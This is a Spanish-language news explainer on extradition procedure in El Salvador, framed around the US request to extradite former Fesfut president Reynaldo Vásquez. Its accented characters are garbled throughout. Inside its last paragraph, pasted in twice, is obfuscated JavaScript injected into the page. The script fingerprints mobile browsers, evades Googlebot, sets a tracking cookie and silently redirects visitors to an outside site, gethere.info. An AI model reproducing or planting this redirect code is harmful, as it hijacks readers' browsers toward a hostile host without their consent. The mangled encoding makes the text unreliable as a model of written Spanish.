Noticias

7 Ene 2016
Noticias | Por: Redacción

AsAi?? hacen los paAi??ses para extraditar a una persona

Uno de los casos mA?s recientes de solicitud de extradiciA?n es el de Reynaldo VA?squez, exdirectivo de la Fesfut. AquAi?? te contamos mA?s de cA?mo funciona este proceso y por quAi?? a El Salvador le pueden enviar una de estas solicitudes.

En varias ocasiones de seguro has escuchado hablar en los medios de comunicaciA?n acerca de la palabra ai???extradiciA?nai???. En principio, alguna idea se te viene a la cabeza, y probablemente sea la acertada. Sin embargo, parece ser que en las A?ltimas semanas es algo que se ha puesto mA?s de moda. Por ello, a continuaciA?n te explicamos por quAi?? se da este proceso y la forma en que suele suceder. A?Ya sabAi??as que la solicitud de extradiciA?n es un acuerdo firmado por todos los estados miembros de la OrganizaciA?n de Estados Americanos (OEA)?

En palabras simple, la extradiciA?n es la peticiA?n que un Estado realiza a otro solicitando la entrega de una persona que cometiA? o se cree que ha cometido un hecho delictivo, con el fin de que cumpla su condena o sea juzgada. Por tanto, para solicitar la extradiciA?n es necesario que exista o bien condena firme o bien auto de prisiA?n contra la persona cuya extradiciA?n se solicita. SegA?n la OEA, ai???el proceso de extradiciA?n consiste en la entrega que se hace por un paAi??s a otro, de un individuo al que se le acusa de un delito o que ha sido ya condenado por Ai??l, a fin de que este A?ltimo Estado lo juzgue o proceda al cumplimiento de la Sentencia en el caso respectivo. El fundamento de la extradiciA?n se encuentra en la CooperaciA?n Internacional entre los Estados, para que los delitos no queden impunes cuando los responsables de Ai??stos huyan del paAi??s donde los cometieronai???.

De acuerdo con este acuerdo, la extradiciA?n puede ser activa o pasiva. La primera se refiere cuando un Estado solicita a otro la extradiciA?n, volviAi??ndose un ai???Estado Requirenteai???; y es pasiva cuando es el Estado al que se le solicita la extradiciA?n, convirtiAi??ndose en ai???Estado Requeridoai???. Para ejemplo claro, el caso del expresidente de la Fesfut, Reynaldo VA?squez, es pasiva porque Estados Unidos ha pedido a El Salvador la extradiciA?n del exdirectivo, acusado de lavado de dinero y soborno para poder vender los derechos comerciales de las rondas eliminatorias que irAi??an rumbo a las copas mundiales de este deporte en el aAi??o 2014 y 2018. Por tanto, se dice que es pasiva pues El Salvador se convierte en el paAi??s requerido y Estados Unidos en el requirente.

Aunque la extradiciA?n es un convenio, para el caso, entre los paAi??ses miembros de la OEA, tambiAi??n estA? contemplada en los artAi??culos 28 y 182 de la ConstituciA?n de la RepA?blica de El Salvador. Para el caso del artAi??culo 28, que expresamente habla sobre la extradiciA?n, asegura que esta ai???procederA? cuando el delito haya sido cometido en la jurisdicciA?n territorial del paAi??s solicitante, salvo cuando se trate de los delitos de transcendencia internacional, y no podrA? estipularse en ningA?n caso por delitos polAi??ticos, aunque por consecuencia de estos resultaren delitos comunesai???.

proceso

Proceso a seguir en una extradiciA?n activa

En las extradiciones activas, es competencia de la FiscalAi??a General de la RepA?blica (FGR) o del Juez ante quien se ventila una causa solicitar la extradiciA?n de una persona que se encuentra ubicada en territorio de otro Estado. En tal sentido, existen dos vAi??as que pueden ser seguidas:

La primera es que la FiscalAi??a debe presentar al Juzgado correspondiente una solicitud formal de extradiciA?n de la persona requerida, el juzgador la valora y emite la resoluciA?n respectiva; en el caso que sea favorable, el Juez elabora una solicitud formal dirigida a la autoridad competente del Estado requerido y la envAi??a a la Corte Suprema de Justicia (CSJ).

La segunda vAi??a es cuando el Juez a cargo de la causa, de oficio, solicita la extradiciA?n de la persona requerida e igualmente elabora una solicitud formal dirigida a la autoridad competente del Estado requerido y la envAi??a a la CSJ. De conformidad con la ConstituciA?n de la RepA?blica, en el numeral tercero del artAi??culo 182, le corresponde a la Corte Suprema de Justicia conceder la extradiciA?n, siendo la A?nica competente para el trA?mite de la extradiciA?n respectiva. AsAi??, la CSJ deberA? evaluar la solicitud, teniendo como marco de referencia el ordenamiento jurAi??dico interno vigente en el paAi??s y el ordenamiento internacional al cual El Salvador, como miembro de la comunidad internacional, se ha sujetado.

Forma de actuar en una extradiciA?n pasiva

Cuando el caso es como el sucedido con Reynaldo VA?squez, a quien Estados Unidos ha pedido extradiciA?n, la Corte Suprema de Justicia es la entidad encargada de recibir la solicitud, la cual debe estudiar el amparo de la legislaciA?n nacional e internacional vigente. Si la Corte se encuentra conforme a derecho se remite previo aval de la Sala de lo Penal a Corte Plena, quien deberA? valorar su contenido y determinar si procede el envAi??o de la solicitud de extradiciA?n.

En caso favorable, se procede de conformidad al procedimiento de envAi??o previsto en el tratado aplicable vigente entre las partes o en el caso que no exista tratado vigente procede su envAi??o por la vAi??a diplomA?tica. Cuando fuere este el caso, se remite el Ministerio de Seguridad PA?blica y Justicia, el cual la enviarA? al Ministerio de Relaciones Exteriores para ser enviado a la Embajada SalvadoreAi??a ante el Estado Requerido o a la Embajada del Estado Requerido acreditada en El Salvador, para ser entregado al Ministerio de Relaciones Exteriores del paAi??s que ha solicitado la extradiciA?n.

Lo que deben contener las solicitudes de extradiciA?n

Hechos y antecedentes procesales del caso. La solicitud de extradiciA?n debe proporcionar una visiA?n en conjunto de los hechos y los antecedentes procesales del caso, incluyendo el derecho vigente al Estado que reclama, y los cargos criminales contra la persona reclamada. Esta informaciA?n se proporciona a menudo en forma de resumen de caso, que prepara el fiscal o el magistrado, especAi??ficamente para la solicitud de extradiciA?n, y que hace referencia a toda la otra documentaciA?n presentada que apoya la solicitud de extradiciA?n.

Disposiciones legales aplicables. La solicitud de extradiciA?n debe incluir el contenido textual de las leyes del Estado que reclama, leyes que son pertinentes al caso criminal contra la persona que se reclama, incluidas las secciones del CA?digo Penal que presuntamente se han infringido por la persona reclamada, asAi?? como las disposiciones que expone las penas por tales infracciones y cualquier derecho de prescripciA?n vigente que disponga de lAi??mites de plazo para iniciar el procesamiento o ejecutar la condena contra la persona reclamada.

IdentificaciA?n de la persona reclamada. Debe incluirse toda la informaciA?n conocida para establecer la identidad de la persona reclamada, incluyendo una descripciA?n fAi??sica, fecha y lugar de nacimiento, paAi??s de ciudadanAi??a y nA?meros de identificaciA?n. AdemA?s, la solicitud debe incluir fotografAi??a y, si las hay, las huellas digitales de la persona reclamada. Se debe demostrar el fundamento de la autoridad que reclama por pensar que la persona en la fotografAi??a y en otra informaciA?n identificante que se ha proporcionado, es la misma persona que se acusa o que ha sido condenada de la infracciA?n por la que se solicita la extradiciA?n.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

17 Jul 2018
Estas han sido todas las coaliciones presidenciales desde 1994. Conocelas
Noticias | Por: Redacción

Estas han sido todas las coaliciones presidenciales desde 1994. Conocelas

16 Jul 2018
Conocé la historia de este salvadoreño que busca construir un mejor país
Noticias | Por: Redacción

Conocé la historia de este salvadoreño que busca construir un mejor país

16 Jul 2018
¿Por qué son tan importantes los magistrados de la Sala de lo Constitucional? Acá te contamos
Noticias | Por: Redacción

¿Por qué son tan importantes los magistrados de la Sala de lo Constitucional? Acá te contamos

12 Jul 2018
PCN y PDC, los partidos que volvieron a la vida luego de ser eliminados por el Tribunal
Noticias | Por: Redacción

PCN y PDC, los partidos que volvieron a la vida luego de ser eliminados por el Tribunal